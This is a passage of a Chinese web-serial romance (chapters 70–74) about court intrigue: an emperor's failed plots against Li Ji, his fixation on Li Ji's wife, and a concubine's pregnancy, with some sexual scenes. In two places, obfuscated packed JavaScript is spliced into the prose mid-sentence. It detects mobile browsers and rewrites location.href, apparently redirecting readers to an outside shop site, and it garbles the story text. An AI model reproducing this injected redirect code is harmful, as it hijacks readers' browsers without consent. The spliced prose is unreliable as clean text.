他的身上满是灰尘,连头发、眉毛、嘴唇都是白的。 她问:“夫君受伤了么?” 他此前闪避得快,只有左臂有一点擦伤和淤伤,但不算重。这点小伤他不放在心上,也不想她担心,便道:“没有。” 怎么可能没有呢,他的手臂明明在往外渗血。她按住他,拿过医药包帮他止血。 李济道:“这里暂时无事了,你快回府休息。” 她嗯了一声,“那夫君?” 李济是不可能回府休息的,接下来他还有很多事要忙。 他虽侥幸不死,但皇帝和武安侯岂会那么容易放过他。 她心里一酸,眼眶又是一红。 李济抚了抚她的脸道:“傻珠儿,怕什么,你夫君不会让他们如愿的。” …… 知道李济没有死时,皇帝怒气冲冲地将书案上的奏折等物扫落在地。 “废物!”他骂道。 周简连忙跪下:“陛下息怒。” 皇帝冷笑道:“息怒?如何息怒?第二次了,还是杀不了他!” 第一次让李济死里逃生,第二次他更是毫发无损,叫他怎么息怒? 他越想越气,抓起方才未被扫落的墨锭狠狠地砸到地上,墨锭碎裂,碎末溅到武安侯的脸上,将他的脸割开了一道小口子,血珠冒了出来,但武安侯不敢擦,怕惹陛下更怒;也不想去擦,因为这样看起来比较可怜。 刺杀是他安排的,探月楼崩塌也是他安排的,两次都未能成功,怪不得陛下如此生气。 那李济也真是命硬,三番两次都杀不了他。 正绞尽脑汁想着如何解释,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907406|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让陛下消气,宫人进来禀说承恩侯陈进求见。 皇帝不耐烦道:“让他进来。” 陈进进了御书房,行礼后道:“陛下,探月楼塌了,此事,是否跟李济有关?” 见皇帝面沉如水,抿唇不语,他苦口婆心道:“陛下,若想铲除镇国公府,非一朝一夕之功,请陛下稍安勿躁,徐徐图之!” 听说探月楼塌了,陈进就知道,这是为杀死李济而设的事故。他赶去现场看了几眼,得知李济没事,反而许多工匠和部分官员被压在楼下,便赶进宫来了。 陛下让武安侯等人做的这些事,陈进都不太赞成,这样做太急进、太冒险了。事成还好,事若不成,引起镇国公府的警惕和反扑,那才糟糕。 可惜他劝阻再三,陛下就是不肯听,反而疑心他因为女儿嫁去了镇国公府,有了二心,与李济私下勾结。 他当真是比窦娥还冤。 婚是陛下自己指的,如今却又因为这一点怀疑起他来了。 没办法,他只能由着陛下胡来,又为了消除陛下的猜疑,率先对镇国公父子发难,以彻底撇清他与镇国公府的关系与嫌疑。 但那李济何等狡诈,端午节后竟安排了那样一出大戏,导致陛下更加疑心他。这些日子,陛下什么事都不跟他商量了,一昧听从武安侯那等小人的话。 皇帝听了陈进的话,脸色更加不豫,盯着陈进冷笑道:“怎么,舅父又要教训朕?” 他这个舅父,能力是有的,然而,也太爱仗着自己的长辈身份指手画脚了。当初他把他打发出京城两年,就是因为受不了他总是打着为自己好的名义喋喋不休。本以为两年的时间够他想明白了,这才把他调回了京城,没想到还是一样,还是那么强硬迂腐,不识时务。 不但如此,这个舅父如今连对他的忠心,也令人怀疑。 他听说,五月初六那日,李济备了节礼到陈府,与陈府众人言笑晏晏,就跟普通的女婿陪妻子回娘家一样。 虽然有人说陈进后来在永安街的茶楼出现,但焉知不是故意做给他看的?从李济进门到陈进出门,中间可是隔了些时候,要说些什么,这段时间也足够了。 他这个舅父,极有可能因为女儿嫁进了镇国公府,就投向了镇国公父子。 这一次李济逃过一劫,难道也是他知道了什么,提醒了李济? 怀疑的目光在陈进面上逡巡不去,陈进心里叫苦,道:“陛下,微臣是一心为陛下啊!” 皇帝冷冷哼了声,越看陈进越烦,让他退下。 见陛下的怒火转到陈进那儿去了,武安侯抹了把汗,谄笑道:“陛下,李济虽侥幸逃过一死,但他犯了这等大错,未尝不是我们的机会。” “什么机会?” 李济没死,还能借此事拿他如何?说他监察不力,治下不严吗?这样不痛不痒的罪名,拿来问其他官员的罪还好,但天下皆知他对镇国公府优厚,若他因为这件事对李济不依不饶,最后又治不了他重罪,倒还不如不追究。何况李济成为工部侍郎不过区区数月,这些事认真追究起来,说不定还扯不到他的身上。万一将他的工部侍郎夺了,边关战事起,李济闲着,他还得把兵权给他。 得不偿失。 武安侯道:“陛下,李济不仅涉嫌监察不力,还可能涉及贪腐,若罪名能够落实,陛下纵然顾念旧情,为了给死伤者交代,也不能不从严从重处罚。” 李济自然不会贪腐,但有时候贪腐与否,当事人说了不算,而武安侯恰好很擅长“寻找”证据。 皇帝沉吟了一会儿,脸色稍稍好转,事已至此,不管怎么样,他得先扒李济一层皮,让李济那些朋党看看,李济也不是无所不能的。 他喝道:“那还呆在这儿做什么?还不赶紧去做事!” 武安侯连忙应是,哈着腰退出去了。 71. 第 71 章 武安侯急忙开始行动,可惜他自己是枢密使,无查案之权力。当他让与他穿一条裤子的刑部侍郎丁有之带着刑部和御史台的人赶到工部,却发现他们在工部安插的人——一个朱姓的员外郎,一个邓姓的采木官、一个杨姓的将作监少匠及另外几人早被李济控制了起来,不但如此,也不知李济用了什么手段,那几人还招了供,说是丁有之让他们买的劣等木料,而他们从中获得的钱财,大部分已上交给了丁有之。 丁有之本是来构陷李济的,气势汹汹,准备齐全,本以为十拿九稳,无论如何也能泼李济一身脏水,却怎么也没想到自己会在到达现场的瞬间成为了嫌犯,被拿个正着。 因发生了大事,刘尚书也在工部,见丁有之自己来了还有些惊讶,“哟,丁大人是来自证清白的,还是来投案自首的?” 突然发生如此变故,丁有之未免又惊又怒,“一派胡言!本官奉公廉洁、两袖清风,岂会贪图那等蝇头小利!你们这些蠹虫拿着朝廷的俸禄,不思报效朝廷,竟敢中饱私囊,蠹国害民!如今还敢来攀诬本官!本官岂能饶你们!” 说着,“噌”地一声从近旁的衙役腰上抽出剑,举起来就要刺那采木官等人。 但还未来得及劈下,却只听得“叮”一声响,手中的剑已叫不知什么物件打断。 再一看,原来打断这剑身的,是一串五彩的绳子,中间镶了几块石头,像是端午节拿来辟邪的那种玩意儿。 叫这么一串绳子打断了剑身,丁有之脸色铁青,掷五彩绳的人却不理他,先亲自离座去捡起那串五彩绳,心疼地擦了擦上面的灰,自言自语道:“还好没坏,不然怎么跟她交待。” 他将手绳戴到手臂,左右翻转,再三确认没事,然后才轻笑道:“丁大人,这就急着杀人灭口了?” 丁有之方才一时激愤,做出冲动之举,此时虎口被那绳子震得发麻,反而冷静了下来,心知自己身为刑部侍郎,举刀杀人,无论如何说不过去。 何况这几人倒戈虽在意料之外,可李济等人也未必有什么实质的证据,光凭口供,并不能将他定罪。他急着杀人,才是落人口实、自乱阵脚。 想到这里,他将断剑一掷,挺起胸膛凛然道:“本官行得正站得直,不惧小人诬陷。” 刘尚书点头微笑道:“如此最好,老夫也希望丁大人出淤泥而不染。丁大人方才说的可是将老夫吓了一跳,什么‘岂会贪图那等蝇头小利’,乍一听还以为丁大人看不上蝇头小利,只愿做那祸国殃民的大贪官呢。” 丁有之愤愤地看着刘尚书,这死老头子!虽是半截身子入土,呛人的本事却是分毫不减!当初武安侯想将李济放到工部,他就不太赞成,这刘老头始终不肯站在他们那一边,谁知私底下是不是已被镇国公父子收买?如今看来,他猜得果然不错! 他冷哼一声,“本官无需与尔等逞口舌之快!” 刘尚书点头,“说得对,说得对,一切看证据。” 今日刑部的人本是由丁有之领头,此时领头人忽然成了疑犯,剩余之人不免面面相觑,你看我我看你,一时不知怎么办。 刘尚书见刑部的人没头苍蝇似的,帮他们一把,派人去请来了御史台的人。 丁有之高昂着头走出工部,刑部的其他人垂头丧气地跟上。 …… 李济三日后的半夜才第一次回到镇国公府。 他先进内室看了陈灵珠一眼,见她睡得正熟,笑了笑,蹑手蹑脚地去了盥室。洗漱干净了,他才在她身后躺下,轻轻抱住了她,露出一个心满意足的微笑。不知是否吵到了她,她转过身抱住了他的腰身。 “睡罢。”他道,轻轻拍了拍她的背,一只手臂支起身体,在她唇上印下一个吻。 天色大亮时他醒了,睁眼便看到陈灵珠正坐在旁边,目光炯炯地看着他。 “事情都解决了?”她问。 他坐起身点了点头,“嗯,都处理好了。” 说着,一个猛子将她捞入了怀中。 “珠儿可想为夫?”他的声音带着一点刚睡醒的沙哑,还有一丝笑意。 她一时没说话,但不过一瞬,搁在他宽阔肩膀上的下巴便点了点,“想。” 听到这个答案,他心花怒放,用力抱紧她道:“为夫也极想。” “想”字话音刚落,他便将她的嘴唇堵住。 唇瓣相接的一瞬,两人都微微战栗。她双手抓紧他的手臂,配合地由他撬开她的唇舌,任他长驱直入。 这是甚少有的情况,他的笑意更深,反复与她唇舌交缠。 她微微地喘,却还撑着,开始回应他。见她主动,他的眼角溢出一丝笑意,想说话却舍不得与她分开,将要说的话就着二人的吻咽了下去。 良久,在两人都觉得要喘不过气来时,他才与她分开,与她耳鬓厮磨,在她耳边轻叹:“珠儿。” 她的回应,是她的另一个主动而热烈的吻。 他的妻今日如此热情,李济心中高兴而甜蜜,暗暗感叹小别胜新婚,古人诚不我欺,但渐渐地,他发现有些不对劲。 因为她吻着吻着,竟将他推倒,压在他的身上。 轻轻按住她有些不安分的手,他用探询的目光看着她。 “夫君,我们圆.房罢。”她的脸上泛起明显的红晕,却一边说着,一边用她那柔软的唇在他的耳朵亲了一下。 她是如此地生涩,然而越是这样生涩的吻,越是叫人激动。 李济耳朵和心里都像有一朵花“哄”地一声同时炸开。 “为何?”他克制着问道,声音微微颤抖。不久前她也提出过这个问题,但当时他说,他用了许多的药,而她年纪还小,身体还未长成,圆.房一事,先缓一缓。他是这么说的,也是这么做的,但他毕竟是一个血气方刚的男人,自己的妻子在旁却只能忍着对他而言已是难忍的折磨,何况此刻面对这样的她。 她没有回答,脸上红粉未退,眼神却坚定决绝,伸出她那纤长柔软的手指,试图打开他的衣襟。 一股热气上涌,他当下一个翻身,反客为主。 “为夫绝不是什么柳下惠、鲁男子,也不是那些得道高僧,你这样,会折磨死为夫。”他咬牙切齿,看着她的眼神犹如一只饿了许久的猛虎,恨不能 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他的妻还是太小了,他不忍心因为自己的欲望而伤了她的身体,所以他再如何想要,都生生忍住了。 此时也是一样,他缓缓地摇了摇头,“为夫要等你长大一些。” 陈灵珠:“……” 她低头看了看自己,有些沮丧,为何她都这样了,李济还能忍得住?若不是对他还算有些了解,她简直要怀疑起他来了。 李济笑着将她揽过,叹道:“为夫虽不是柳下惠,但柳下惠若还在世,必然也要对为夫甘拜下风。” 毕竟那柳下惠坐怀不乱的只是一个陌生的女子,而他面前的这个,是他明媒正娶的深爱的妻。 陈灵珠看他咬着牙,坐立难安,状极难受,一时也有些后悔自己撩起了他的火,李济却傲然道:“无妨,为夫忍得住,人与禽兽之区别,就在于此。” 他确实是忍得住的,但忍得住,却不代表不辛苦。过了好一会儿,他才渐渐平静,看了看陈灵珠,忽然恍然大悟,笑了起来。 “珠儿,你可是怕为夫会死?” 陈灵珠点了点头,“是。” 他说得没错,她真的是害怕了。层出不穷的阴谋诡计,李济再运筹帷幄,早有防备,也终究只是肉.体凡胎,未必能每一次都安然无恙。 就像他遇刺那一次。当时她人懵胆大,与李济又还是陌生人,除了知道自己可能会成为寡妇有些遗憾外,并无别的感觉,可是如今想起来,却心有余悸。 还有探月楼这一次。如果李济不是够警觉,又身有武功,会如何呢? 所以她想与他圆.房,就算以后死了,至少他们曾经做过真正的夫妻。 “傻珠儿。”他抱住她,将脸埋在她耳边闷闷地笑了起来,听上去颇有些心满意足,“为夫答应你,为夫不会那么容易死。” 见她还是担忧不已,他道:“我不会死。我还要留着命,与我的小珠儿白头偕老。” 他重新吻上她的唇,“我们还有将来,不急于一时。” 72. 第 72 章 皇帝召了新近最宠幸的吴美人侍.寝。 按说探月楼刚刚坍塌,死伤者众多,他素来“忧国忧民”,按说不应召人侍寝,但作为皇帝,他想做什么便做什么,无人敢置喙。 一番云.雨,吴美人在他身边睡着了。 他却有些不够满足,心底的不满足。 他的脑海中浮现出一双水灵灵的眼睛。 这些时日他找遍后宫,后宫佳丽三千,什么样的美人都有,环肥燕瘦,各有千秋,可惜都不是她这一种。 他总觉得宫中的女子都差了点味道,什么味道呢,他自己也说不清楚,以前只要过得去的他都愿意宠.幸一番,但这些时日,等闲的美人都难入他的眼。 他总是忘不了那双含嗔似喜的的眼睛,还有嘴角若隐若现的小梨窝。 宫里五官比她美的也有,眼睛长得好看的很多,也有几个长了梨涡,但五官长得美的不够灵动,顾盼神飞的没有梨涡,有梨涡的又总是故作娇俏。 总有一样让人不满意的。 不像她,处处让人觉得称心如意。 也怪他下手太迟,她是他的表妹,舅父陈进的女儿,他当然早就见过,可是以前她还没长开,像棵豆芽菜似的,舅父也不疼她,他也就没看在眼里。 后面她又有两年不在京城,所以她出落得这样美丽,他竟不知道。还是他召回舅父后,舅母杜氏带着她们姐妹进宫拜见皇后,被他遇见了,他才知道,原来以前那个不怎么起眼的小丫头,已经长大了,还生得这样美。 他当时便想着要把她纳入宫中,但还没等他开口,杜氏竟说,沈家有意结亲。他便想着,反正她年纪还小,不急,先放着,等后面沈家事毕再接入宫中也是无妨。 结果后面一来二去的,一时不察,竟让舅父陈进给弄去了镇国公府! 最麻烦的镇国公府,最棘手的李济。 得知真相后,他虽当时便勃然大怒,却也庆幸知道得早,只要让她回陈府去,陈灵瑛去镇国公府,各归其位,一切便还来得及。甚至,若是后面有些对她不利的风言风语,他还能救她于水火,得到她的感激与欢心。 但那赵氏竟说,他们镇国公府愿意将错就错,承认她是李济之妻。 他又惊又怒,想怒斥赵氏胆大包天、痴心妄想,但他知道,赵氏,或者说李济的要求,不仅合情合理,还称得上宽宏大量。为了大局,他最后还是忍着心痛与不甘,同意了她与李济的这一桩婚事,让她去了镇国公府,成了李济名正言顺的妻。 那之后,虽然总是想着她,他却也不敢轻举妄动,连让皇后找借口召她进宫都忍住了——李济那厮向来敏锐,万一叫他看出来,便可能功亏一篑。 但他忍不住让人悄悄探听她的消息,偷偷地让人关注着她。 他听说,她与李济感情甚笃,李济会陪她外出、陪她归宁,两人共乘一骑,就像真正的夫妻那样,极为亲密。前些时日的马车失事,也是李济救了她。而她,也曾为镇国公府救活了那个本该死去的老农,又救治流民,为镇国公府赢得了好名声。听说,她还曾为李济针刺武安侯。 这让他憋屈又心烦。 本该是他的女人,却叫李济抱在了怀里! 本该对他忠心耿耿的人,却成了李济的助力! 心烦之时,他最想做的,便是不顾一切将她抢进宫里,好好宠爱一番,然后告诉她,不可再认贼为夫。 他就不信,他堂堂九五之尊,还能比不上李济,她还能不听他的话。 可是他不能。 舅父说,陈灵珠性情倔强,若让她知道嫁去镇国公府乃是利用她,只怕非但不会听命行事,还会让她倒向李济。且她城府不深,若是知道后行止不够自然,反而会引起李济的警惕,打草惊蛇,反为不妙。倒不如暂时什么也不让她知道,让她逐渐获取李济的信任,必要时再让她发挥作用。 他忍住了。 一个女子与天下,孰轻孰重,他还分得清。 但陈灵珠一再帮着镇国公府,此事让他忍无可忍,他只好让皇后断了她的行医之路。 皇后的父亲是国子监祭酒,以古板著称,女儿肖父,看不惯女子在外行医并不奇怪,料李济不至于因此事起疑。 她做不成大夫,就不可能帮着镇国公府,帮着李济了。 有时他也会想,他如此想要她,如此非她不可,到底是她太吸引人,还是说,因为她成了李济的女人,他才会觉得她增倍吸引? 这个答案,只能等他铲除了镇国公府,将她接进宫来,才能知道了。 想到这里,他更心烦了。 其实他自己很清楚,陈进说得很对。 镇国公府的势力和威望,连他这个皇帝也要避让三分,在朝中的关系又盘根错节,枝繁叶茂,想铲除,不是一朝一夕之事。 那贱女人又与他有母子的名分,贸然出手铲除她的娘家,只怕会被某些惹人厌的老古板揪住不放,有损他的明君之名。 本来他以为,镇国公父子的手脚不可能绝对干净,总能让他抓到他们的错处,但这父子俩行事确实周密,飞雄军又是铁桶一般,让他想下手都没机会。 未免遭到反噬,他也不敢轻举妄动,只能慢慢地寻找机会。 可是机会太难找,太考验他的耐心。 既然不便来明的,那他便来暗的。 于是他借着赐婚的名义让李济进京,然后找了一个有胡人血统的死士,让那死士易容成李济不会设防的郑文淑等在他的必经之路。 这个计划是很稳妥的。成了,李济死;败了,镇国公府抓到的,也不过是假扮郑文淑的胡人。 李济和其他人再绞尽脑汁,也绝不会想到这胡人会与他有关联。 他也差一点就成功了。 可是李济那贼厮命太大,心口中了一刀,最后也没死成。 没死成就罢了,还把他喜欢的女子抢了去。 皇帝恨得胸口起伏,探月楼坍塌李济也没能死,不知下一次机会是什么时候……但他不能再这么做了,事不过三,李济定然会有所防备,故技重施也容易露出马脚。 可他到底要怎么对付李济呢…… 越想,他越心烦意乱,他的习惯是在女人身上发泄,于是他推醒身边的吴美人,示意她起来服侍。 吴美人被折腾了一番,本睡得迷迷糊糊的,但皇帝有兴致,她没有不依的道理 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初初得到吴美人,他确实新鲜了几日,但让吴美人侍.寝了几次,他又觉得有些无趣。吴美人到底不是她。他记得舅母说,她性子极倔,轻易不肯屈服。 若他跟她说,她在镇国公府只是权宜之计,李济只是她暂时的丈夫,她会如何反应呢? 她会不会像吴美人这样刻意奉承,像吴美人这样故作姿态呢? 想必是不会的。 他想着陈灵珠的脸,想象她在这个时候,会是什么样子。 不知她在床笫之间,是何等风姿…… 跟这些庸脂俗粉总归是不一样的,他想着,越发用力。 吴美人被折磨得死去活来,完了事,喘息还没平定下来,却听到皇帝冷冷地让她出去。 她一愣,心中不免有些委屈,但她不敢有异议,这些时日,陛下颇有些喜怒无常,一时对她极好,一时又似乎对她很是厌恶。她本以为抛弃丈夫进宫能飞黄腾达,但事实似乎并非如此,陛下甚至不愿让她见人。她安慰自己,陛下脸色虽差,但连着要了她两次,近日更是常常召她侍.寝,赏赐不断,这样的恩宠在后宫也是独一份儿了,只要生下一儿半女,怎么也比跟着她那如今不知是生是死的丈夫强,便咬着唇,顺从地披上衣衫,退了出去。 吴美人走了,皇帝仰躺在龙床上,更觉气闷。 他作为皇帝,天下之主,难道想要区区一个女子,都得不到? 那他还做什么皇帝! 李济必须死! 越想越恼恨,狠狠地将一个瓷枕甩在地上。 瓷枕发出清脆的碎裂之声。 王德忠听见了,忙弓着腰进来,见吴美人出去了,陛下还躺在龙床上,一时不知是否该出声询问。他想了想,最后也不敢出声,又弓着腰退了下去。 想着想着,皇帝又冷静了下来。 强抢臣妻不是什么大事,譬如吴美人这样的,抢也就抢了。但问题是,如今她名义上是李济的妻。李济的妻不是那么好抢的,一个不小心,他连皇位都坐不稳。 他且再忍忍,等时候到了,再将她抢过来不迟。 73. 第 73 章 探月楼坍塌一案,以丁有之抄家处斩告终,李济监察有失,但他到工部之时日短,且上任之前,探月楼已经在建,所有一应相关文书,都与他无关。楼塌之后,他身先士卒、亲力亲为,又将蠹虫迅速揪出,他的夫人更是亲自到场救治伤者,所作所为实在无可指摘。 但李济说,他治下不力,愧对死伤者家属,甘愿退位让贤。 此时刘尚书站了出来,说探月楼一事李济无责,而他身为工部首官,却因身体之故对工部诸事欠缺监管,以致于酿成大祸。陛下宽厚仁慈,留他一命,他却已无颜留在工部,请陛下垂悯,准他骸骨归田。 事已至此,皇帝尽管恼恨非常,却也无计可施。最后只得准了刘牧所奏,并将李济罚俸一年,以示惩戒。 散朝出来,李济对刘尚书道:“老尚书又何须如此!” 刘尚书道:“济之不必在意,老朽早就想学那陶渊明了,可惜一直不得机会。如今虽说退得不光彩,好歹也算得偿所愿。” 他拍了拍李济的肩膀,“济之,以后,就靠你了。” 说完,他摇着头远去了,李济看着他的背影,在他身后深深一揖。 皇帝回到后殿,将一只茶盏摔到地下发泄怒气。 忙活了一场,他不得已斩了丁有之,而李济毫发无伤。不仅如此,如今刘牧致仕,尚书一位空悬,不久之后,为了让人觉得他还是一如既往地厚待镇国公父子,他恐怕还得将李济提拔上来,让他担任尚书一职。 更让人恼火的是,他听说宫外有传言,说探月楼坍塌,是他的罪过。是他德行有失,得罪了上苍,引发了天怒,以致于百姓遭殃。 又说他骄奢淫逸,劳民伤财,横征暴敛,以致于越来越多的百姓流离失所,饿死他乡。 萧煜素来自诩明君,岂能容忍刁民如此诽谤?当下将胆敢议论此事的人杀了一批,又将城里的流民赶出城外,但还是难泄他心头之愤。 又摔了一只花瓶,宫人都战战兢兢地匍匐在地,生怕被迁怒,丢了小命。 殿内一时鸦雀无声,这时,外面忽然响起一阵脚步声,萧煜怒目一睁,刚要发火,王德忠满面笑容地跑了进来。 “陛下,陛下,奴婢有事禀报!” 皇帝不耐烦道:“何事?” 王德忠的眼睛笑成了一条缝,“是大喜事!陛下,杨贵人有喜了!杨贵人有了身孕了!” 萧煜如被雷电击中,一时竟懵了。很快,一股狂喜涌上他的心头。 “哈哈哈哈!”他大笑。 有喜了!他的女人终于有一个怀孕了!他终于有后了! 他耕耘多年,却一直颗粒无收,如今终于有一个妃嫔有孕,对他来说,真是莫大之喜事,值得立刻昭告天下。 他激动得站起,说要到太庙告慰列祖列宗,王德忠提醒道:“陛下,不如,先去看看杨贵人?” “对对对!”他醒悟过来,列祖列宗那儿不急,他得先去看看孕育龙胎的功臣。 到了杨绾柔与其他嫔妃混居的偏远小院,杨绾柔要起身给他行礼,他连忙上前按住她:“爱妃快快平身!” 他扶住杨绾柔,“爱妃怀嗣,是社稷之福,朕心慰极!” 杨绾柔自己也没想到能这么快有孕,得知这个消息也是堪称狂喜。 天助她也!竟叫她得偿所愿!只要她顺利生下腹中胎儿,无论是皇子还是公主,她的地位都将不可撼动!若是运气足够好,叫她生下一个皇子,再立为太子,从此她杨绾柔要风得风,要雨得雨!什么陈灵珠、陈灵瑛、周凝萱,都得匍匐在她的脚下,她说东,便不能往西! 想到之后的风光,她微微战栗了起来,不过,此刻她还不能太过放肆,便面上含羞带喜,盈盈道:“妾有此福气,都是陛下的恩德。” 皇帝欢喜至极,搂着她,令赏金银绸缎、珠玉、补品,又命宫女太医日夜看护,以防有失,再将杨绾柔的位份由贵人连升数级为妃。 最后,他看了一眼杨绾柔的居室,皱了皱眉,道:“爱妃怎会住在此处?” 他看了一眼旁边的皇后,“皇后?这是怎么安排的?” 皇后当真委屈。 杨绾柔之前不过是个小小贵人,宫里嫔妃又多,不住这里住哪里?有身孕也是今日才知道的事。 但她不能多言,只能笑道:“陛下,杨妃初来乍到,按宫规,只能委屈她与其他的嫔妃挤一挤,如今怀了龙嗣,自是要搬迁别宫的。” 皇帝这才作罢。 看着皇帝与杨绾柔欢天喜地,皇后一边微笑着亲自安排下去,一边心里暗暗叹了口气。 就没有她这样憋屈的皇后。 她做这个皇后,说是一人之下万人之上,其实谁她都得伺候着,有时候想起来真的比这宫里的宫女太监还不如。 譬如镇国公府的女眷罢,按说镇国公权势再大,作为臣子的女眷,她们也应该来巴结她,看她的脸色。 但恰恰相反,因为某些不可说的原因,她要对她们客客气气,假装亲热,比对自己的亲祖母、亲娘、亲姐妹还要好。 她的娘家人不知内情,对她颇有怨言,可她却一个字也不敢透露。 但没有办法,帝后一体,在皇帝没有将镇国公府收拾妥当之前,她都得配合好他,还要小心别让其他人看出来。 光是做小伏低也就算了,毕竟见面不多,敷衍敷衍也就过去了。 但皇帝想让她做的,往往不止如此。 譬如说,皇帝想要陈灵珠,但因为李济的关系,他也不敢明目张胆地做些什么,甚至不敢轻易召陈灵珠入宫,怕引起镇国公府多思多想。 可他又始终介意陈灵珠行医一事,觉得陈灵珠帮了镇国公府,甚至怀疑因为陈灵珠,李济才能醒过来。 于是他让她出面,禁止陈灵珠在外行医。 这实在莫名其妙,她的父亲为人守旧古板,可那不代表她也是。 事实上,她十分欣赏陈灵珠能勇敢去做自己想做的事,甚至暗暗有些羡慕她。 但没办法,皇帝吩咐,她只能照办。 于是她硬着头皮,豁出了自己的名声,说出了她自己也没办法说服自己的话。 她知道,她的话一出口,不但陈灵珠不能再行医,其他想从医、想经商、想从军,想从事其他行业的女子也会受到连累。 为此事,她难过了几日,内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925286|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心有种深深的无力感,甚至有些恨皇帝。 可她又能如何呢? 她的父亲是国子监祭酒,除了名望一无所有。 若不是某次赴宫宴被先帝看中,陛下,当时的太子也不会愿意娶她。 这些年来,她一直无子,若不是其他嫔妃也无子,陛下只怕早就废了她。 但说真的,她也早就不想做这劳什子的皇后了! 主要原因,便是因为皇帝。 说得难听一点,皇帝在她看来,就是个昏君、伪君子。 初初登基之时,他还算勤勤勉勉、励精图治,然而很快,他的本性就暴露无遗。但他从来不愿堂而皇之地犯错,尽管他昏庸无能、沉迷女色、残害忠良,可是他希望,这些罪名都由别人来承担。 譬如说罢,他想铲除镇国公府,可是庄德皇后是他的嫡母,镇国公父子镇守边关又有功劳,轻易是动不得的。 所以他一边让心腹罗织罪名,一边又亲自下场为镇国公父子辩解。 这样下来,就算以后他将镇国公府抄家灭族,那也是镇国公父子自取灭亡,怪不得他。皇帝希望他本人在臣民眼中,永远是那个英明神武、励精图治,垂拱天下的好皇帝。 苦只苦了他身边的人,尤其是她这个皇后。 “皇后,杨爱妃就住柔仪殿罢。”皇帝在旁吩咐道。 皇后猛地回神,点头微笑,“是,妾身也是这么想。” 她也不是非做这皇后不可,可从高位摔下来,死的可不止她一人。 如今杨绾柔有孕,虽不知对她而言是福是祸,但这皇后的担子,总算轻了些。 至于之后如何,且走一步看一步罢。 …… 因杨绾柔有孕,皇帝宣布全体官员休沐一日,又到太庙告慰列祖列宗。 得知这个消息,众官员都上表祝贺,武安侯在皇帝面前比谁都欢喜,上的表字里行间也是情真意切,暗地里却忍不住在心里泛酸,暗恨为何不是自己的女儿有孕,又担心杨家从此得势。 杨家则最为得意,杨绾柔的父亲杨见从前是个六品官,借着杨绾柔有孕,顷刻间成为剑南节度使。 本朝的节度使虽只是个虚职,但着实让杨家面上有光。 杨见应酬不断,还有人为了奉承他,称呼他为“国丈”。 杨见嘴里虚虚推拒着,其实心里颇为受用,认为以目前的情况,“国丈”这称呼自己也算当之无愧,还回家对杨绾柔的母亲金氏道:“咱们家的姑奶奶真真是有出息,过去以为妹妹嫁给陈进就算有造化了,没想到咱们的女儿更是不得了!待柔儿诞下皇子,夫人,咱们家,可就真能在京城横着走了!” 金氏本来一直担心女儿进宫的路不好走,到这时才算放下了大半的心,也不免有些得意。 她出去应酬,从前对她爱答不理的好几个夫人竟来奉承她,金氏这才真真切切地感受到了女儿成为陛下宠妃的好处。 没想到她奉承别人多年,如今竟能靠着女儿翻身。 她不由畅想,她的女儿,有美貌,也有手段,日后就算做不成皇后,太后大概总是没跑的。到时候,她作为太后的母亲,该是何等风光! 74. 第 74 章 没过多久便是李照葵出嫁的日子,镇国公府里早把大红灯笼挂了起来,李融这个父亲也回来了。 出嫁前两日,陈灵珠、李照芙、李照槿、李照蓉及李照葵的若干闺中密友都来给她添妆。陈灵珠送李照葵的是一对羊脂玉的手镯,李照芙送了一支翡翠发簪,其余姐妹亦各有相赠。 李照葵收到礼物很高兴,但想到嫁为人妇后再难得这样姐妹欢笑嬉闹的日子,又有些黯然。 李照芙看她泪光闪闪,却又不知怎么安慰,只好道:“葵姐姐别担心,嫁人也没那么可怕,你看二嫂嫂,跟二哥哥不是好得很么。” 火突然烧到自己头上,陈灵珠不由脸上一热。她和李济相处得确实还不错,此时要安慰李照葵也不好反驳李照芙的话,便笑道:“可不是么,嫁对了人,日子说不定比闺中时还好。” 李照葵便问她与二哥哥的相处之道,众姑娘也一脸好奇地看着她。 陈灵珠想了想道:“称不上什么经验,不过待人以诚罢了。错了就认,该争时,寸步不让。” 众小姑子都一副似懂非懂的模样,刚刚踏进门槛听到陈灵珠这句话的温氏倒是若有所思。 陈灵珠又笑道:“葵妹妹别担心,日后姑爷中了进士,还会回到京城来的,到时妹妹常回府里来,就跟从前一样了。” 李照葵叫她们一番安慰,离愁别绪倒是淡了些许。 陈灵珠从李照葵的院子离开便去了松鹤院陪太夫人下棋,傍晚回到梅林上筑时,李济已经回来了。 她净了手准备与他一起用饭,他却笑问:“你可有话要对我说?” 陈灵珠知他定然是从谁口中听到她说的那句“嫁对了人”的话了,当时话赶话的还不觉得如何,如今当着李济的面却是无论如何说不出来的,便装傻反问道:“什么话?” 李济笑看着她再问:“当真没有话要说?” 陈灵珠坚定地摇头,他道:“你没有话说,我却有话要告诉你。” 她不免有些羞涩又有些期待,哪知这人见勾起了她的好奇心,倒又拿起乔来,道:“还是不说了,填饱肚子要紧。” 说着便放开她,作势要转身去用膳。 陈灵珠的胃口被他吊得足足的,拉住他道:“哪有说话说一半的道理?” 李济朗声大笑,笑够了,才道:“少夫人想听什么?” 这个人又在戏弄自己,陈灵珠佯怒甩了他的袖子就走,“我这就去告诉葵妹妹,告诉她嫁错了人是什么样儿的。” 李济连忙将她拉回来,笑道:“这就恼了?” 陈灵珠不理他,他笑着道:“少夫人觉得自己嫁对了人,为夫却觉得自己所娶非人。” 